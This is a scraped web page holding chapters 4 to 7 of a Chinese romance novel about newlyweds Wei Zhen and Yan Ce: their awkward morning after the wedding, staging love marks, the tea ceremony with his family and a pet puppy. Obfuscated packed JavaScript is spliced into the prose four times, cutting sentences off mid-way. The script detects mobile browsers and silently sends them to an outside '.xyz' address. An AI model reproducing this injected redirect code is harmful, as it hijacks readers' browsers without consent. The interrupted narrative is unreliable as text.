“谁问你了。”卫臻轻哼一声,没再摆弄花,低头去匣子里翻今日要戴的璎珞。 都是往日里她喜欢的,精巧漂亮,但今日瞧着又都不对。 两三串璎珞被她拿出来搁在一旁,上边的珍珠落在桌面上,跃出“哒哒”的响,似大大小小冰珠坠入玉盘。 连着挑了几串,卫臻都不满意,又把匣子扣上了。 罢了,跟首饰置什么气。 她随意拿了个项圈,恹恹地往妆台上一搁,也没急着戴,“方才老太太差人来了。” “我把人打发走了,别担心。”燕策扯了把椅子在她身侧坐下。 卫臻并没有被他的话安抚到,“一大早就有人来盯着我们那档子事要交差,过会儿还要去敬茶,我指不定要受什么刁难......” 她声音很小,慢吞吞的,讲到最后,声线渐渐开始发涩。 “怎么会刁难你。” 燕策听出她语气里的异常,对身旁侍候的人摆了摆手。 侍女们会意,都停下手上的活计,悄然退了出去。 门扇被合上,里间只剩下他们二人,卫臻眸色沉沉,一说话喉间就有些发哽:“我们成婚的缘由所有人都知道。” 卫臻哪能想到自己想喝醉了酒就有胆子睡|他。 她平日里明明很老实的,可除了她自己,没人会信。 这事,卫臻翻来覆去想了很多遍了,情绪积攒得太多,心口闷得饱胀胀的。 眼下翻出来对他讲,就像开了个口子,泪珠也开始向下滚落。 “没人知道,我没有告诉别人,” 见她哭了,燕策俯身与她拉近了点距离,温声继续道:“不会有人怪你。” 卫臻眼睫挂着泪,唇线紧抿,不想被他看见自己哭的样子,低着头扭过脸去。 她哭得实在可怜,燕策抬手给她擦眼泪,指腹有层薄茧,动作轻了再轻,但仍把她眼皮擦得更红了些。 卫臻细密的眼睫挨着他手指扑簌了下,干脆抓着他小臂挡住自己的脸,眼睛贴在上面哭,把眼泪全擦在他袖子上。 擦得太用力,她额头抵着他手臂拱了一下。 湿热渗入袖口,燕策语气放缓了些: “退一万步,便是让人知道了也不怕。那并不是你的错,谁也不能拿这个为难你。” “所以,别哭了。” 可他越说,她越哭。 似夜雨未停,只是全落在他袖间。 卫臻哭了好一会儿才停下,推开他手臂,轻轻抽了下鼻子,从袖间抽出帕子擦净脸上余下的眼泪。 燕策袖口已经被她濡湿了一大片,他方才说的话,卫臻也全都听见了。 晨间生出的不满也随着那些话偃旗息鼓。 怪不得老太太特意惦记着差人来收那块帕子。 原来,他家里人都不知道二人婚前有过一次,只以为昨夜才是头一回圆|房。 “你为何把那事瞒着?”她鼻尖红红的,声音仍翁里翁气。 “你说为什么。” 燕策现下的语气甚至称得上温柔,和平日里说浑话的样子截然不同。 卫臻思来想去只能想到这么个原因: “你......你要拿捏我的短处,这样日后我就任你一个人捏扁搓圆了。” 她有双圆又亮的杏眼,平日里眼皮褶皱并不深。 现下眼睛哭得有些肿,双眼皮褶皱也成了两道鼓鼓的月牙,瞪着眼望向他的时候尤为明显。 燕策看着她好笑道:“我拿捏你做什么,早上明明是你捏着我。” “你还敢提早上,” 卫臻声音拔高想震慑他,可她方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860010|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才哭得累了,如今嗓子也软趴趴的没什么威力, “反正你就是捏着我的短处。” “那我的短处也给你,就扯平了。” 卫臻像是接受了这个提议,想了一会子抬头问他:“你有什么短处?” 她今日没上妆,面颊显出几分稚气,眼皮红扑扑的。 但瞳眸却比簪子坠着的猫眼石还要润亮,湿漉漉地望向他时,显得可爱又可怜。 燕策笑着想了下,他好像真没什么事怕人知道。 心里唯一的秘密,现下也坐在他眼前,成了他名正言顺的妻子。 不知道他在想什么,狭长漆黑的眸弯出抹柔和弧度,中和了身上的冷戾,眉弓英挺,鼻挺唇薄。 这人笑得太晃眼,卫臻长睫颤了下,几乎要忘了自个儿还在同他置气,低头垂下眼睑不再看他。 与他面对面挨得太近,她的视线直直往下落在燕策身上。 他一侧手肘架在扶手上,长腿随意支着,坐得很疏懒。 察觉到她的目光,燕策垂眸顺着她的方向瞥了眼,而后又撩起视线望向她毛茸茸的发顶,声音似笑非笑的:“往哪儿看呢?” 他也没遮掩,衣摆布料随着他靠近的动作拉扯收|紧,势愈显。 卫臻支支吾吾的:“......我可没说是这。” 神天菩萨,她原本真没往那边想。 可被他一提,卫臻飘忽着移开视线,下意识开始回忆。 风从窗棂钻入,拂开窗边纱帘,帘子飘着拍在卫臻身侧,穗子拂过手背,痒痒的。 燕策骨架挺阔,一切都跟他的身形很相配。 不仅算不得短处,还很夸张,比婚前嬷嬷给她看的和田玉雕夸张太多。 当然,这些她只敢在心里想,并不敢讲出来,卫臻皮肤白,脸红起来很明显,她不自在地晃了晃腿。 俩人挨得极近,这一晃,她的膝盖与他的碰在一处,布料擦出很细微的响,窸窸窣窣。 谁都没再动,二人的腿也就这么紧贴着没错开。 燕策的腿,碰上去是硬的,是与她截然相反的触感,隔着布料也能感受到遒劲紧实的线条起伏。 但他身量高,腿也生得长,线条被拉伸,就显得修长劲瘦,不过分粗壮。 卫臻身形窈窕,骨架生得小,膝盖处的骨骼也比他的纤瘦。 燕策曾用手掌|握住她的双膝,细细丈量过。 新婚次日的清晨,二人坐在窗前妆台处,一同沉默着。 春光骀荡,风吹娇杏,甜香里又搅着点青涩。 仅有的一次关于这方面的经历,都来自于彼此。 便也都能猜到对方在想什么。 窗外竹叶摇响,燕策率先打破了沉默:“别想了。” 晨间的光拢在他英挺的眉骨上,投下一小片影。 卫臻对上他漆黑的眸,不满地哼了声,“我想什么你管得着吗?” 燕策嗓音含混:“那我也可以想你的吗?” “你!”卫臻直接拿手心湿|了的帕子朝他扔过去。 扔完帕子就提裙要站起来,离他远点儿才好。 卫臻的腿一直在他双膝中间,这一站,人也被燕策用腿困住。 5. 第 5 章 燕策的腿大喇喇横在那不肯挪。 卫臻轻轻踢了他一下,嗔道:“别让我再生气。” 他没继续用强硬的手段拦她,笑着岔开腿,给她腾位置。 卫臻刚走几步就听见身后传来清越的响,下意识回头—— 站起来才发现,窗棂外红霞早已褪去,金光乍泄,成束的光擦过他线条流畅的侧脸。 燕策坐在原处,拿起方才她搁在妆台上的如意锁项圈摩挲着。 项圈由数颗圆润饱满、大小一致的珍珠串成,随着他的动作,细小柔和的光粒从珍珠落到骨感的手背。 他的手生得好,遒劲修长,项圈在他手上,比搁在匣子里养眼许多。 卫臻倏地明白了,为何外面的首饰铺子,总要给贵重的首饰配个漂亮的架子。 珠链项圈上还挂了个精致的如意金锁,双面浮雕珐琅彩做了鸳鸯的纹样,如意锁底下坠着一串小金铃,响声就来自于此。 卫臻撇了撇嘴又坐下,没跟他抢,也不说要自己戴。 她头发都梳上去了,挽在脑后,歪了下头,无声地使唤人,领口外露出的一截脖颈秀美白腻。 燕策会意,解开项圈后面的搭扣,倾身给她戴上。 挨得太近了,在光下能看清她脸颊上那层细小的绒毛。 二人气息交|汇,她身上的甜香又柔柔地缠上来了。 不是她缠,是他自己闯|进去的。 卫臻上面穿了件赤色蜀锦小袄,领口处缀着一小圈薄绒,料子不算厚,但防风,这个时节穿正好,颜色也鲜亮,同项圈很搭。 戴完项圈,卫臻很快转过身去,对着菱花镜照了照,把身前的小如意锁拨正。 项圈做得细巧,底下那排小金铃都被个小机关连着,她拨动一下,变戏法似的,就都消音了。 卫臻歪了歪头,捏着小金锁,看向燕策的眼神有些得意。 燕策捧场:“好厉害。” 卫臻又想起昨夜他随口说的,要找个铃铛栓他身上的话,弯着眼睛道: “等晚上回来,我拆个小铃铛,给你拴身上。” 燕策手肘懒懒架在桌面上,微微倾身看着她,现下也想起那句话,唇角跟着牵了牵。 “这样的铃铛我有好些呢,金的银的都有,你要哪种?” “银的。” 第一次见她时,她发饰上就坠着银铃。 是时,外间有侍女敲门,问是否要传膳。 燕策应了,又望向她:“用膳吧,一会儿还要去敬茶。” 卫臻听见这话又有点犯难,“那敬茶时......我们昨夜能交差吗” 燕策起身的动作一顿,又靠了回去,“不能。” “那怎么办?” 她在益州长大,口音同京里不同,说话带着点偏软的尾音,语速放慢时尤为明显。 燕策学她的语气:“是啊,那怎么办?” “问你正经的,别说浑话。” “可以做个戏糊弄过去。” 卫臻不懂这种事如何能做戏,歪着头看他。 鼻尖挺翘,眼神清凌凌,像临窗舒展的花,有薄而软的花瓣,和馥|郁的香。 燕策蓦地腾升出罪恶感,但很快被他抛开了, “弄些印子出来,这样就假装我们做过了。” 卫臻闻言立即摇头,手摁着衣摆拒绝。 他劲儿太|大了,上次给她留下的痕迹,过了好久才消掉。 燕策会意,“不|弄|你,你亲我。” “要我也亲你的|腿吗?”卫臻面露惊恐,“我不。” 他先前只在她腿上留了印子,旁的地方没有,因此卫臻下意识就联想到这了。 燕策楞了下,好笑道:“亲脖子就行,领口外面。” 卫臻也回过神来,做戏自然是要做在外人能看见的地方。 只是在领口外面,不用解|衣裳。 她松了口气,没那么抵触了。 见她态度松动,燕策贴心补充道:“不用很久,只留一两个印子。” 卫臻一时没应声。 先脑补预设过更糟糕的两种情况,因此,燕策最后提出的方式就显得好接受多了。 这样做,好像对她是没有影响的。 燕策疏懒靠坐在那,手上随意转着一支小钗,她的。 卫臻的视线扫向他,他也毫无躲闪之意,姿态松弛,任由她把他从上到下打量一遍。 很坦荡的样子。 罢了,做戏总比真的再做|一次好,脑中一番天人交战,卫臻接受了。 但愿意做是一回事,让她再主动凑上去是不可能的。 “怎么亲?”卫臻抠了抠扶手上的木雕,“这次可是你先主动提的。” 刚问完,卫臻就听见小钗落到桌面上。 她来不及去看小钗有没有被磕坏,就连人带椅子被拖过去了,二人距离陡然拉近。 清冽冷峻的气息扑面而来,不知道是他用的熏香还是衣裳上的香。 很淡,但存在感又极强。 因为离得太近了。 近到卫臻看见有道利落的线条,自他耳后斜斜延伸至锁骨中间的小窝。 她不知道这条凸|起的线叫什么,只觉得生在他颈上十分漂亮。 想摸一把。 燕策垂眸睨向她红润的唇瓣,怕惊扰了她,只用气音答道:“是我主动。” 他明明没挨上她,但卫臻耳畔却被撩起丝丝的痒,连呼吸都不由自主变轻了。 这个感觉太奇怪了。 她的怪症是不是又发作了。 指尖攥紧袖口,又忍不住隔着布料去掐指腹。 受不了这煎熬,卫臻心一横,阖上眼,屏住呼吸对着他领口外那截玉白的颈凑了上去。 他脖颈生得比面部还要|紧|致,很不容易亲,卫臻不得章法,胡乱啄吻着,似蜻蜓点水。 从她身上散出来的香气更浓郁了些,燕策喉结滑动着,薄唇紧闭,呼吸开始变得沉重。 他微垂着眼,强迫自己静下来。 视线落实了,从他的角度望过去就是她|嵌|在他怀里的样子。 花瓶里的杏,落了她一身的影,幢幢摇曳。 纤薄的背随着她的动|作小幅度起|伏着。 裁剪得体的衣裳掐出截袅娜的腰,脊背线条在腰际软塌下去,很快又饱|满|隆|起。 他发带尾端垂下来了,燕策把视线转移到发带,不敢继续看那漂亮的弧。 可发带很快被风推着,搭上了她的腰。 燕策匆忙阖上眼。 阖上眼,来自她的触感就更明显了。 先贴上来的是秀挺的鼻尖,接着,脖颈被她用湿润的唇轻啄着,比他想象的还要软。 她领口处那一小圈薄绒也围上来了,一下一下地,挠着。 卫臻亲完立即睁眼,撤|开|身子,把脸偏到一旁,袖间斑驳花影翩跹着落在燕策身上。 脉搏跳动的节奏太奇怪,卫臻抬手捂了捂心口。 上次跳这么快,还是与他亲密接触时。 她又开始不收控制地回忆那些模糊的影—— 全都是关于他的。 他放出的戾|兽、他埋|首、他抬眸看她时湿润的唇...... 但是,没有二人亲吻的画面。 卫臻不确定是自己当时思绪太混沌不记得了,还是没有过。 她好奇,便也直接问出来了: “我们上次这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860011|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过吗?” “嗯?” 卫臻伸出根手指,点点自己的唇。 燕策喉结滚动了下,如实回答:“没有。” 卫臻没再继续问,窗外枝头鸟雀鸣啾啾,一声叠着一声。 等她心跳缓过来了,细白手指攀上他下颌,摁着检查。 燕策垂眸睨向卫臻的眼—— 瞳仁乌黑润亮,细密的眼睫微微垂着,在眼尾拓下一小片影。 极净。 她心底应当也这般,无异动。 别扭的只有他一人。 卫臻一副公事公办的神情,检查|他的动|作称得上粗暴。 燕策颈间发烫,应该已经红了,他板着一张脸被她摆弄,英挺的五官显出几分冷戾。 不是生气,是为了遮掩心里的别扭。 被她婚前特意留长的指甲掐疼了些。 他下颌仰了仰,没反抗—— 冷戾,但在她手底下驯顺。 卫臻松开手之后嘟囔着抱怨:“根本留不下印子。” “你力气太轻了,时间也要久一点。” 他又想起了什么,往下扯松了领口,补充道: “像你以前吃软酪那样。” 京中夏日里炎热,每逢盛夏,各府办宴、食肆酒楼都会做冰冰凉凉的软酪。 薄薄一层软韧的酪皮,里面裹满了蜜豆或时令鲜果做的冰沙,表面再淋上层蜜浆,盛在冷沁沁的瓷碗里,很是解暑。 婚前二人没有交际的时候,燕策很少能在夏日里遇到卫臻。她应当是极惧热,天一热就不爱出门了。 夏日仅有的几次偶遇,她都跟同龄的女郎坐在一处,双手捧着冒凉气的软酪吃。 但卫臻不喜欢用勺子挖着吃,她爱把软酪咬开个小口子,再慢慢把里面的冰沙一点点吸空了。 晨光透过雕花窗,覆在卫臻脸颊上,纯挚的面容是独属于她的利器。 她眼眸清凌凌,像是在认真回忆自己吃软酪的情形。 但其实卫臻现下根本不像面上假装的那般清明,她脑子里已经开始有点迷糊了,也没去细想燕策如何知晓她吃软酪的样子,只想快些把这个麻烦解决了。 殷红唇瓣复又贴上他脖颈,像他说的那样,试探着用|力|吮。 秀挺的鼻尖一下一下蹭着他颈侧。 伴随着湿|热的气息,燕策呼吸变得比方才更急促。 有点后悔哄她做这种事。 至少不该是现在。 这次卫臻顺顺当当地在他身下留下两枚交错的红|痕。 亲完,燕策一松手,被他扯住的布料复位,领口蹭上去,遮住了这两枚好不容易留下的印子—— 卫臻的努力白费了,需要再做一次。 他后悔让她做,但又忍不住哄她继续。 卫臻浴在光下,唇瓣一片水色,瞪了他一眼:“你成心的。” 燕策长睫压下来,视线落在她湿润的唇上,“冤枉我,我自己又看不见。”、 他眼眸黑漆深邃,面无异色,不像在诓骗人: “那好吧。” 卫臻哼了声,凑上去换了个位置继续方才的事情。 在燕策刻意安排下,她的动作已有几分熟练,力道也比方才更重。 湿|软的唇瓣|吮|吻上来,发出很细微的吻|啧声。 燕策手臂垂在她身侧,凸|起的喉结缓慢|滑|动,呼吸几近停窒,指节用力凭空抓握了下,青|筋迭|起。 坚持了几瞬,腰|眼发麻,弦绷到极致。 他忍不住脖颈上扬,整个人往后仰着,重重喘了下。 卫臻本来在亲他,燕策这一动,红润的唇瓣骤然与他脖颈分|离—— “啵”一声。 6. 第 6 章 卫臻没想到他会躲,下意识追着他的颈继续亲了下。 眼睫眯着,殷红湿润的唇瓣微张,追了个空。 热意后知后觉开始涌上来。 可能不是热意,是耻感,但卫臻并不愿在心底承认。 卫臻恼他躲,更恼自己下意识的反应。 “你躲什么!” 手掌“啪”一下摁上他侧脸,掰回来。 卫臻这会子占理,心底并不虚,是他先主动提出来的。 燕策这次比昨晚坦然多了,目光落在她白腻的手腕。 好细,怪不得打他的时候一点都不疼。 他躬身凑到她跟前,“热吗?” 知冷暖是身体本能,卫臻下意识顺着本能回答:“当然......” 说到一半她忙不迭改口:“我在跟你生气呢!” “错了,别生气。” 燕策继续往她脸前凑。 没挨到她。 但是他的呼吸已经喷洒在她颈窝,热意顺着领口钻进去了。 卫臻被热烘烘的温度一扰,泄了气,嗔他一眼,暂时没同他继续计较。 但心理隐隐有股子劲儿,被他方才躲的那一下勾起来了。 留不留印子,已经不是最要紧的了。 最要紧的是,燕策先主动提的,他不可以躲她。 卫臻带着这股子劲儿,用齿尖在他喉结旁边重重咬住。 燕策呼吸一滞,以为她会生气骂她,结果她竟然...... 脖颈被咬的一瞬,她湿|软的舌也贴了上来。 燕策从半空中落到了实处,脊背一片|酥|麻。 热意从被她咬到的颈侧窜开,蔓延至耳后,又一路愈演愈烈,最后被他强压着,消停在尾|椎。 撑在她腰侧的手没忍住抖了抖,努力控制着自己不做出太大的动作影响到她。 不能动,也不能躲,他仰起头,半眯着眼喘了出来。 不再是欲盖弥彰的呼吸声,是实打实的喘。 耳边低沉发磁的声音让卫臻心底的耻感加重,重到她不得不承认: 不是热,也不是纯粹地恼。 是她在犯羞。 像怀里揣了只兔子,乱糟糟的。 他每一声喘,喉结都会跟着起|伏。 卫臻忍不住把手覆到他凸|起的喉结上,指尖用了些力摩|挲着,想让他别喘了。 像制止。 却又更像鼓励。 他未及弱冠,不笑的时候冷戾感重,面容仍有少年感,但声线和身形早已摆脱了少年的单薄。 耳边是他低|沉的喘,视线余光是他昂|藏的身躯,卫臻脸更烫了。 明明是她在咬他,为什么她也会麻酥|酥的。 是咬得太用|力了吗? 卫臻齿|关松开,烫而缓的呼吸一|股一|股地喷洒在燕策耳际。 她的惩罚结束了,但两个人都没有动, 燕策的手垂在她椅子两侧,没挨到她。 但他肩膀宽,手臂也长,使得卫臻整个人几乎是坐在他怀里,无论头往哪边偏都还是被他圈住。 是时,外间传来摆膳的动静,惊了卫臻心里乱跳的兔子。 她回神,颤着把他推开,又缓了几瞬,才敢抬眸检查自己方才的成果。 他喉结旁不仅有她咬出来的印子,还被她的手掐红了。 卫臻没由来地心虚,想起燕策方才难耐的低|喘,他应当不好受。 都被掐红了怎么可能好受。 所以他先前躲那一下可能也是因为被她弄疼了。 早知便不罚他了。 卫臻手摸到方才被他放回桌面的小钗,摩挲着上面的纹路,别别扭扭同他道歉,嗓音温吞低软,“对不住......” “嗯?” “把你这里弄疼了。”卫臻没再上手碰他,用小钗点点自己的颈间向他示意。 燕策没说话,低头望向她,视线随着晃动的钗落在她白腻光洁的颈上。 被他哄着做了这种事竟然跟他道歉。 想亲她。 卫臻觉得这应当不算是很大的事,他是武将,这点子痛对他来说算不得什么。 她是出于礼貌才同他道歉的,没想到燕策不说话,还越靠越近。 卫臻再次被罩在他的影里,她慌忙上手推开他:“看我做什么?你不准生气。” 燕策闷哼一声,顺着她的力道往后靠在椅背上,嗓音倦懒含笑: “好,我不准生气。” 得到他的回应,卫臻逃也似的地站起来,拿手扇了下脸颊,要去外间用膳。 见他没动,她催促道:“又楞在那里干嘛?” 燕策扯了扯衣摆,“你先去用膳,我去换身衣裳。” 卫臻想起自己曾用他袖子擦眼泪,是得换一身。便点点头没再管他,自个儿去外厅用早膳了。 “好热,早知道不穿这个带毛领的小袄了。” “夫人一会儿还要出门呢,外边儿凉。”侍女祝余在一旁侍候用膳,给卫臻沏了盏茶,“您先喝茶降降火。 祝余是燕策院里的大丫鬟,人生得壮实,手臂有力,走路脚下生风,干活十分麻利。 但除了她,这院里就没有旁的大丫鬟了,因着怕卫臻带来的侍女初入府不熟悉这边事务,国公夫人便把身边几个手脚利索的小丫鬟分了过来,侍候二人起居。 昨日用晚膳时,卫臻已认过她们的脸。 卫臻喝了一口,“还是热。” 燕策自小习武,五感敏锐。 她说的话透过两堵墙,传进里间的浴房,送入他耳中。 卫臻手持茶盏,嘟哝着碎碎念,“越喝越热,这茶里搁了什么......” 燕策垂眸,虎出密林。 伴着她绵软的音,他眸色渐深,指节收紧。 一直到卫臻的早膳用得七七八八,开始喝昨夜开的汤药时,燕策才出现。 他换了件跟她身上小袄同色的广袖圆领袍,燕策很少把衣裳板板正正地穿在身上,穿官服时是文武袖穿法,若穿常服就像今日这般,圆领袍穿半边。 左臂套入广袖中,右侧是黑色窄袖,两边都用护腕收束起来,腰间革带亦紧扣着,勾勒出的线条精壮劲瘦。 皮革护腕锋利干练,广袖袍贵气,两种气质在他身上融合得很好。 中衣外还添了件交领半臂,硬挺的料子撑起来,衬得肩更宽了。 ——穿得很随意,细瞧又好像打扮了。 在他自己家里,又不见客,花枝招展的打扮给谁看。 卫臻轻哼一声,收回视线催促他: “快点吃,饭都要凉了,要不是你乱躲,也不会折腾到这个时候才用膳。” 在一旁侍候的侍女闻言默默同另一名侍女对视一眼,又瞧见燕策领口下的印子,二人就立即敛眉垂首没敢再抬头看。 今天日头大,风也喧嚣着卷过廊下,等二人用完膳,昨夜的雨在石板上积蓄的水痕早已被蒸得干干净净。 卫臻走出屋门时都忘记昨晚曾经落过雨。 像是只有燕策一个人的世界下了场滂沱的雨, 潮|湿,浓|灼。 出了二人居住的浣花院,绣鞋踩上石板路,卫臻边走边问:“去敬茶有什么需要额外注意的吗?” “没什么要注意的,跟着我就行。” 卫臻瞪了他一眼。 燕策笑了下,他是真的觉得没什么好注意的,娶她不是为了让她看人眼色的。 为了安抚她,他道:“母亲不会为难你的,父亲喝过我们的茶就要离京回营了,也不会多说什么。” 燕策的父亲奉国公燕明远素来不伸手内宅的事,近年来只一件事同子女动过气—— 当初燕策事先没同家里商议,自己先斩后奏去求了赐婚,且要娶的还是与兄长有过婚约的女郎。 燕明远知道后结结实实用鞭子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕策躬身靠近,眼睫微垂,视线先落在她浅红的唇瓣上,不知道她在唇上涂了什么,在光下有很轻微的闪,说话就有一缕甜香。 而后上移去寻她的眼,“我看不见。” 他微微偏了偏下颌,露出颈侧,示意她来弄。 卫臻犹豫片刻,回头瞧了眼,只有兰怀和祝余跟着他们,且像是刻意落在后头,离他们二人并不近。 她只得上手给他把领口稍微往上扯了扯,只露出一半的印子。 尽管按节气算已经开春,但卫臻仍觉得冷,在外面一路走来,秀挺的鼻尖透着点红。 泛凉的手指剐蹭过燕策的喉结,他多看了几眼。 莲心堂修得十分阔气,远远望着,屋檐同鸟雀的喙一般高高翘起。 走近了,巧石山头,削削尖峰排玉笋;养鱼池内,清清活水作冰盘。 一进院门,立即就有侍女满面笑意迎上来,院中侍候的下人俱平头正脸,规矩极好。 行至堂前,有侍女掀开软帘,暖意扑面而来,墙上挂着应景的名公字画,屋内坐满了人。 各房的人都来了,听见动静,众人皆下意识往门外看—— 燕策先抬脚进来,英挺俊美,肩宽腰细,门外的光束和身后人都被他挡了个严实。 似是没想到会来这么多人,他在门口一停顿,很快侧了侧身,打他身后便走出个女郎。 一袭石榴红新衣,生得玉软花柔,梳着新妇的发髻。 正是气血最充盈的年纪,五官又足够出挑,娇靥不施粉黛,就有足够的好容色。 她抬眸瞪向身侧人时,清凌凌的眉眼细看还有几分稚气;望着屋内长辈时,神态又是极温软的。 若分开单看,二人身量气场相差甚远,一个高挑冷戾,一个袅娜柔美,但站在一处又意外的和谐。 7. 第 7 章 二人一进来,屋内都亮堂了些。 卫臻与燕策一齐给长辈敬茶,先敬上首的老太太。 老太太年岁大,比寻常人怕冷,她额上戴着防风的卧兔儿,精神矍铄,面容十分慈祥,喝了茶,眼角笑纹更深。 旁边的嬷嬷捧了个半敞的匣子过来,里头搁着一整套极精致的红宝石头面。 卫臻知道这是老太太给孙媳的,忙福身谢过,又命侍女好生收起来。 国公夫人出身京兆韦氏,名献容,着香云纱大袖衫,气质高贵典雅,单看五官是十分英气的。 燕策身量像他父亲,容貌更多地随了母亲。 韦夫人喝过卫臻的茶,给了她一对冰种翡翠镯子,色泽盈盈,水头极好,在室内看也很透亮,再难寻出第二副。 奉国公戎马一生,气势威严,在女眷和小辈面前话很少,他只略叮嘱了几句夫妻和睦、互相扶持的话,走个过场。 燕策又带着卫臻一一认了各房的人,长辈和小辈们都很给面子,没人在这个时候乱说触霉头的话。 府上大姑娘燕姝的女儿小元今年刚三岁,她头顶梳着两个小揪,脸颊红扑扑,戴着卫臻给的金项圈,咯咯笑着对卫臻行了个不标准的万福礼: “谢谢......”小元话讲到一半,歪着脑袋想了想大人刚教给她的称呼,“谢谢舅母。” 说完就“啪嗒啪嗒”跑回自己娘亲身边,头顶的小揪也跟着颤,众人被她讨喜的样子逗笑。 卫臻正笑着,就察觉腿边被拱了下。 低头瞧见只四眼铁包金长毛松狮幼犬,被养得挺好,毛很蓬,嘴筒子胖胖短短的。 估摸着才出生几个月,黑亮亮的眼睛上方有两簇浅色的毛,和豆子一般大。 卫臻以为是自己的腿挡着它的路了,便把腿往后收了收,想避开。 没成想小狗还是贴上来用身子撞她。 卫臻臻继续躲:“它怎么一直撞我,身上痒吗?” “这是喜欢你呢,”燕敏正坐在卫臻左手边,她是燕策胞妹,在家中行八。 燕敏弯腰拿过小狗嘴里的木棍,“嫂嫂你扔这个,扔到门外。” 卫臻不知缘由,但接过来照做了,只见还不等木棍落在院中地面,小狗就跑过去跃起,用嘴把木棍接住,叼着跑回来了。 而后在燕敏的一声声“豪狗”中迷失自我,得意到没边儿,蓬蓬的尾巴都晃出重影。 燕敏笑着弯腰把狗抱起来,搓了一把它厚实的绒毛,继续道: “这是六哥哥养的狗,叫吠星,上个月才刚接回家。昨日你们院里人多,六哥哥怕它受惊,就送去我那了。” 吠星原是送入营中的警犬,由于训练时不分敌我,屡次殴打同僚,影响其它狗练习站哨,因此被燕策带回来养了。 听见自己的名字,吠星昂了昂毛茸茸的脖子,在燕敏手底下汪了两声,厅内众人目光都被引了过来,小狗很快被捏住嘴筒子收声了。 时下很多人会养犬作宠,卫臻原先只当是底下人弄来哄燕敏开心的,没想到是燕策的狗。 燕敏松开小狗的嘴筒子,“吠星会认人呢,往后它就是嫂嫂的狗了,所以一来就自个儿去蹭你了。” 燕策的狗,她的狗。 卫臻心里说不上来的别扭。 偏生从这个小姑娘口中说出的话,让她无法生厌,也没理由反驳。 “嫂嫂你要摸吗?昨个晚上刚让人给它洗过澡。” 燕敏把吠星抱过来,卫臻犹豫了下,往后缩着没碰。 右侧伸出只骨节分明的手,替她接了。 燕策靠着椅背,长腿随意交叠坐在她身旁。小狗趴在他手上,软趴趴地摊开成了一块饼,尾巴打着卷儿。 卫臻刚与吠星乌溜溜的眼睛对上,它就立即垂下眼,不跟她对视。 晃着脑袋低头的时候,它蓬松的腮毛都在颤。 眼睛上方那团,不知道是毛还是它的眼皮,正耷拉着。 怪可怜的。 好吧,那就摸摸。 卫臻试探着上手摸了下。 幼犬尚未完全换掉胎毛,头顶还是毛茸茸的,手感比卫臻的小毯子硬一些,但更为蓬松。 吠星是自己一路跑来的,在太阳底下,风尘仆仆。 追树叶、追它抓不住的小鸟、追暖黄的光。 毛发也因此被晒得干燥温暖,有股蒸糯米饭的味道。 卫臻的气息对吠星而言是陌生的,但这缕陌生里,夹杂着大量它熟悉的主人——燕策的气息。 熟悉和新鲜感交融,引导幼犬耸着湿润的鼻头,在她手底下一直嗅。 狗虽小,却神奇地让人在摸它时感到熨帖和放松。 卫臻摸着摸着,在小狗蓬松的毛发里,触到燕策的指尖。 吠星身上的毛被卫臻摸乱了,它不懂为什么抚摸的动作突然停了,只趴在燕策手上,对着卫臻歪歪脑袋:不摸了吗? 敬茶认亲意外地顺利,午膳也是大家一齐用的,谁也没到卫臻跟前说三道四难为人。 一直到出了莲心堂的门,卫臻都还有些恍惚。 燕策走在一旁,“自然顺利,你以为会怎样?” “话本里新妇刚入门都要被刁难的。” 说话间二人行至垂花门外,那边已经停着辆马车。 奉国公燕明远戍守西北,上月受召回京述职,本应于三日前返程。圣上开恩,允燕明远留京,待燕策完婚后再赴边陲。 天子施恩,燕明远知进退。如今燕策已完婚,燕明远没再耽搁,今日便整顿鞍马,率亲卫踏上归途。 现下卫臻便是要随燕策一齐,送燕明远出城。 卫臻被侍女扶着上了马车,燕策跟在她后头,二人一齐坐下后,他继续方才的话茬:“如何刁难?” “譬如刁奴欺主,或者热茶烫手......”她刚说完烫手,手上就感受到沉甸甸的热,卫臻被吓得缩着手低呼出声。 燕策忙伸手托住了被她甩开的物件儿。 卫臻低头瞧,原来是个手炉,被他托在掌心,就在她膝盖旁。 手确实发凉,知道是给自己准备的,卫臻有些不好意思地接过来,“你不准笑。” 燕策靠在一旁,嗓音含混:“我没笑。” 这马车明明很宽敞,但他坐在一旁,卫臻就觉得哪哪儿都窄了点。 听见燕策的语调,她恼羞成怒般抬头瞪了他一眼:“你嘴巴是翘着的。” “我天生就这模样儿。” 卫臻懒得继续搭理他不着调的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 